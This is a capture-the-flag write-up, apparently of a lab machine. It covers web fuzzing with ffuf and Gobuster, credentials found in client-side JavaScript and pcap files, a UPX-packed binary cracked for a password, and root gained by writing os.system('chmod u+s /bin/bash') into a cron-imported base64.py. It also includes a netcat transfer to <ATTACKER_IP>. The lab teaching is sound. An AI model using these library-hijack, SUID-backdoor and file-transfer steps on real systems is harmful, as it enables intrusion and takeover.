Introduction
In this post, we covered web application enumeration using FFUF and Gobuster as tools for this purpose. We proceeded further by re-using credentials and established foothold on the machine. Privilege escalation was performed by editing the base64 library file base64.py that’s used by a python script running as a cron job by the root user.
The target is a Linux computer that is running a web server. After some enumeration, we discover a note that discloses the location of a hidden login page. This page uses clientside javascript code for authentication, allowing us to read clear text credentials. We use these credentials to log into an FTP server, where we discover some pcap files. Inside one of the captures, we discover additional credentials that work for ssh. We use strings to obtain the password and access a different user after gaining access to the machine and finding a binary that checks for the username and password. We write the latter to obtain root access since a python file that is executed by a cronjob every minute imports a writable library.
Initial Enumeration
I kicked things off with an Nmap scan to identify open ports. My initial scan revealed Ports 22 (SSH) and 80 (HTTP) were open. The HTTP port led me to a website showcasing photo galleries and pricing, with a URL structure for photos like /static/<number>
.
Web Application Enumeration & Fuzzing
Next, I used Gobuster to scan for directories, which uncovered /gallery
, /static
, and /pricing
. I then decided to fuzz the numerical part of the /static/<number>
URL to find more content. I generated a wordlist of numbers (00-99 and 0-9) using the sequence
command:
sequence -w 00 99 > numbers
sequence -w 0 9 >> numbers
Then, I used ffuf with this wordlist to fuzz the URL:
ffuf -w numbers -u http://<IP_ADDRESS>/static/FUZZ -mc 200
This revealed a hidden note at /static/00
. The note mentioned “redo the editing on number four remove the slash,” which hinted at a directory. Navigating to /static/00/
(with the trailing slash) revealed a login portal.
Finding Initial Credentials
I viewed the page source of the login portal and found JavaScript files (dev.js
and button.js
). The dev.js
file contained hardcoded credentials: username: seemDev
, password: California
.
Logging in with these credentials redirected me to a page with notes. These notes were crucial, including hints like “stop reusing credentials” and “change FTP port to normal port,” which strongly suggested an FTP server running on a non-standard port.
FTP Enumeration & Credential Discovery
Following the hint, I performed a new Nmap scan to check all ports:
nmap -p- <IP_ADDRESS>
This revealed an FTP server (vsftpd) running on port 37370. I then logged into the FTP server using the previously found credentials (seemDev
, California
):
ftp <IP_ADDRESS> 37370
I downloaded several files from the FTP server, including .pcap
files (packet captures). I opened the seemFTP.pcap
file in Wireshark. Analyzing the HTTP packets within the capture revealed a POST request to /index.html
containing new credentials: uname: ValleyDev
and its password.
Gaining User Access (ValleyDev)
With the new credentials found in the packet capture, I logged in via SSH:
ssh ValleyDev@<IP_ADDRESS>
Once in, I successfully retrieved the user flag.
Horizontal Privilege Escalation (ValleyDev to Valley) ➡️
I enumerated users with login shells using cat /etc/passwd
, which showed another user named Valley
. In ValleyDev’s home directory, I found an executable file named ValleyAuthenticator
. I transferred this file to my attacker machine using Netcat:
- On my machine:
nc -lvp 4045 > ValleyAuthenticator
- On the victim machine:
nc <ATTACKER_IP> 4045 < ValleyAuthenticator
I used the file
command to identify it as a 64-bit Linux executable. Running strings
on the file initially showed garbled output, suggesting it was packed. Searching for “pack” in the strings output confirmed it was packed with upx
.
I then unpacked the file:
upx -d ValleyAuthenticator
Running strings
on the unpacked file again revealed more meaningful strings, including what appeared to be two hashes. I cracked these hashes using CrackStation:
- Hash 1:
liberty123
(password) - Hash 2:
Valley
(username)
With these new credentials, I switched to the Valley
user:
su Valley
- (using the password
liberty123
)
- (using the password
Root Privilege Escalation
I checked my group memberships using id
, which showed that the user Valley
was part of the ValleyAdmin
group. I then checked the crontab (crontab -l
) and discovered a Python script (/opt/photos/photo_encrypt.py
) running as root every minute. The script used the base64
Python library.
I checked the permissions of the base64.py
library file (/usr/lib/python3/base64.py
) and found that the ValleyAdmin
group had write permissions to this file. Since I, as Valley
, was part of ValleyAdmin
, I could modify base64.py
.
I modified the base64.py
file by adding the line os.system('chmod u+s /bin/bash')
just below the imports. This was designed to set the SUID bit on the bash executable when the cron job executed.
nano /usr/lib/python3/base64.py
- (Inside nano, I added
import os
if not present, and thenos.system('chmod u+s /bin/bash')
)
- (Inside nano, I added
After waiting about a minute for the cron job to run, I executed bash -p
, which successfully granted me root access! This allowed me to retrieve the root flag and complete the challenge.